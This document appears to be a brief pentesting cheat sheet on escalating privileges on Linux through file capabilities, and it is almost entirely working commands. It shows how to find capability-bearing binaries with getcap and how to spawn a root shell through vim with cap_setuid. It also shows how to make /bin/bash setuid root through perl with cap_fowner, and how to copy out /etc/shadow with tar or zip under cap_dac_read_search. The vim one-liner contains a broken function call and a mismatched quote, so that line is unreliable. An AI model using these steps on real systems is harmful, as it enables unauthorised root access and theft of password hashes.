# Capabilities

## Example

###

```
getcap -r / 2>/dev/null
```

## True Positive: cap\_setuid+ep, cap\_fowner+ep (This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file)

## Example:

### 1) cap\_setuid+ep

```
./vim -c ':py3 import os; os.setuid(0); os.exec("/bin/sh, "sh", "-c", "reset; exec sh")' 
```

### 2) cap\_fowner+ep

```
./perl -e 'chmod 04777, "/bin/bash";' 
```

### 3) cap\_dac\_read\_search=ep

Tar

```
tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat /etc/shadow
```

Zip

```
/path/to/zip /tmp/shadow.zip /etc/shadow
#/path/to/ is the directory of the zip file with the added capability.
#Next, we extract that archive: 
unzip /tmp/shadow.zip -d /tmp
#Then, we can simply read the file: 
cat /tmp/etc/shadow
```
